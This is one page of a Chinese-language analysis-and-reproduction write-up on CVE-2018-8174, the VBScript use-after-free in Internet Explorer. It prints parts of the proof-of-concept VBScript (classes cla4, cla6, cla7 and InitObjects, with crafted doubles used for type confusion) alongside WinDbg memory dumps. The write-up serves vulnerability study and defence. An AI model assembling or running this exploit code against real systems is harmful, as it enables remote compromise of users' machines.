CVE-2018-8174双杀漏洞分析复现及防御
来源:岁月联盟
时间:2020-01-29
以上为poc中的UAF函数的作用与原理,接下来看 InitObjects
3.2.PoC中的InitObjects
同样的我们在代码里面加入IsEmpty来便于调试
Sub InitObjects
IsEmpty(MyClass2_obj1)
MyClass2_obj1.SetProp(cla6_obj1) '调用了两次 MyClass2_obj1的SetProp函数,分别传入的参数为 cla6_obj1
IsEmpty(MyClass2_obj1)
IsEmpty(MyClass2_obj2)
MyClass2_obj2.SetProp(cla7_obj1) '参数为cla7_obj1
IsEmpty(MyClass2_obj2)
spec_int_1=MyClass2_obj2.mem
End Sub
Class MyClass2
Dim mem
Function P
End Function
Function SetProp(Value)
'IsEmpty("Enter MyClass2:SetPro")
mem=0
mem=Value '分别会调用cla6与cla7的Get P
SetProp=0
End Function
End Class
Class cla6
Public Default Property Get P
'IsEmpty("cal6:call Get P")
Dim cla5_obj1
P=174088534690791e-324
For i=0 To 6
array_b(i)=0
Next
'IsEmpty("finish set array_b to 0")
Set cla5_obj1=New cla5
cla5_obj1.mem=str_1
'IsEmpty(cla5_obj1)
For i=0 To 6
Set array_b(i)=cla5_obj1
Next
End Property
End Class
Class cla7
Public Default Property Get P
Dim cla5_obj1
P=636598737289582e-328
For i=0 To 6
array_c(i)= 0
Next
'IsEmpty("finish set array_c to 0")
Set cla5_obj1=New cla5
cla5_obj1.mem=str_2
'IsEmpty(cla5_obj1)
For i= 0 To 6
Set array_c(i)=cla5_obj1
Next
End Property
End Class
执行前:
//查看cla4_obj1的地址
0:006> dd 010526e0
010526e0 6ab11748 00000002 010345e0 0049e910 //cla4_obj1.mem的地址
010526f0 00000808 00000000 00000000 00000000
01052700 00000000 003af554 01052718 010526a8
01052710 5e163a1d 88000000 6ab11748 00000001
01052720 01034700 0049e910 00000808 00000000
01052730 00000000 00000000 00000000 00370d34
01052740 00000000 010526e0 5e163a16 80000000
01052750 000000d4 00010a41 00000000 00000000
0:006> du 003af554
003af554 "cla4"
执行到cla4_obj1.SetProp(cla6_obj1)这里的时候,去调用cla4的SetProp函数
Class cla4
Dim mem
Function P
End Function
Function SetProp(Value)
IsEmpty("enter cla4:SetPro")
mem=0
mem=Value '这一步会调用cla6的Get P
SetProp=0
End Function
End Class
在Get P中实现了又一次的占位与一次类型的替换:
Class cla6
Public Default Property Get P 'Property Get 语句 用来取得(返回)的值
IsEmpty("cal6:call Get P")
Dim cla5_obj1
'CDbl是转换成双精度浮点数据类型
' db 0, 0, 0, 0, 0Ch, 20h, 0, 0
P=CDbl("174088534690791e-324") 'P是返回值 对cla4_mem赋值,把string改为array类型
For i=0 To 6 'array_b保存了cla1 object的引用,而cla1 object被释放后是由
上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] 下一页